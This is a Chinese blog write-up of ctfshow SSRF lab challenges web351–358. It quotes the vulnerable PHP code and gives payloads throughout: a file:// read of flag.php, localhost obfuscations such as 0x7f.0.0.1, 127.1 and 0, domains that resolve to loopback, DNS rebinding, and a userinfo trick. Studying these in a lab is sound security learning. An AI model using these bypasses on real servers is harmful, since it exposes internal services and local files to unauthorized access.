CTFSHOW_SSRF

ctfshow_ssrf

那就来吧!开始吧
美好的一个周末把ssrf刷干净

一句话解释清楚ssrf(服务端请求伪造)
PHP 脚本运行在 服务器 上,而服务器通常位于内网环境,内网中的服务(如数据库、管理后台、API 接口)通常不直接暴露在公网,但允许同内网的其他设备访问。攻击者无法从外网直接访问这些内网服务,但可以通过控制服务器(PHP 脚本)间接发起请求。
内网外网不清楚的去了解一下nat技术

web351

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>
代码审计
$url = $_POST['url']; // 用户完全控制目标 URL $ch = curl_init($url); // 直接使用用户输入初始化请求 $result = curl_exec($ch); // 执行请求 echo $result; // 输出结果

$ch = curl_init("http://example.com"); // 初始化 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 配置选项 $result = curl_exec($ch); // 执行请求 curl_close($ch); // 关闭会话
学会了学会了


盲猜flag在当前目录
payload:
url=file:///var/www/html/flag.php
url=http://127.0.0.1/flag.php

web352


了解到了这个函数parse_url
$x = parse_url($url);

功能:
使用 PHP 内置函数 parse_url 解析 $url 字符串,将其拆解为 协议、主机名、路径、端口 等组成部分。

返回值:
返回一个关联数组,包含 URL 的各个部分

$url = "https://www.example.com:8080/path?query=1#fragment"; $x = parse_url($url); /* 结果: [ "scheme" => "https", "host" => "www.example.com", "port" => 8080, "path" => "/path", "query" => "query=1", "fragment" => "fragment" ] */
我在做题喜欢把每个环节弄懂,慢就是快
这题就是必须要有http,https

payload:
进制绕过 url=http://0x7f.0.0.1/flag.php 0.0.0.0绕过 url=http://0.0.0.0/flag.php 特殊的地址0, url=http://0/flag.php url=http://127.1/flag.php url=http://127.0000000000000.001/flag.php

由于没有规定匹配的变量,必定返回为真
还可以用http://127.0.0.1

web353

进制绕过 url=http://0x7f.0.0.1/flag.php 0.0.0.0绕过 url=http://0.0.0.0/flag.php 特殊的地址0, url=http://0/flag.php url=http://127.1/flag.php url=http://127.0000000000000.001/flag.php
重温一下这些payload

web354

过滤了0和1 难受

因为 http://localhost/http://127.0.0.1 没有 http 形式,但是可以买一个域名,解析到 127.0.0.1。如果不想折腾,可以用现成的(都是大厂域名):

http://safe.taobao.com/

http://114.taobao.com/

http://wifi.aliyun.com/

http://imis.qq.com/

http://localhost.sec.qq.com/

http://ecd.tencent.com/

省钱了 嘻嘻、

web355

长度限制要小于5
url=http://0/flag.php url=http://127.1/flag.php
拿下

web356

长度限制要小于3
url=http://0/flag.php
在有些师傅中学到了
0在linux系统中会解析成127.0.0.1,而在windows中会解析成0.0.0.0 学会了学会了

web357

` <?php
error_reporting(0);
highlight_file(FILE);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']='http'||$x['scheme']='https'){
$ip = gethostbyname($x['host']);
echo '
'.$ip.'
';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}

echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme`
gethostbyname 把域名解析成ip地址

大概懂了什么意思
回顾一下dns重绑定攻击 DNS Rebinding attack
利用服务器两次解析同一域名的短暂间隙,更换域名后面的ip达到突破同源策略或者绕过waf进行ssrf的目的
有人会说dns有缓存
这就涉及到了 dns中的机制ttl:域名和ip绑定关系的cache存活的最长时间 (time-to-live)
我第一次dns解析的ip设为合法的,绕过了host合法性检查,dns 第二次解析时候更换url对应的ip,在ttl结束,缓存失效之后,重新访问此url就能获取被更换后的ip,第二次dns解析的ip的ip设置设置为内网ip
在这个过程当中,对于浏览器来说,整个过程访问的都是同一个域名,所以认为是安全的,导致绕过
https://lock.cmpxchg8b.com/rebinder.html
用这个就可以设置极短的ttl


也可以302跳转 刚刚付款腾讯云的服务器 明天出在评论区中

web358

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ echo file_get_contents($url); }
preg_match('/^http://ctf..*show$/i', $url)主要分析这里
必须是http://ctf.开头中间匹配任意字符show结尾
payload:
ctf.将作为账号登录127.0.0.1,
http://ctf.@127.0.0.1/flag.php?show

还有两题欠着 明天我会出一个ssrf的总结顺便带上那两道题

posted @ 2025-05-11 22:51  TinGer2  阅读(20)  评论(0)    收藏  举报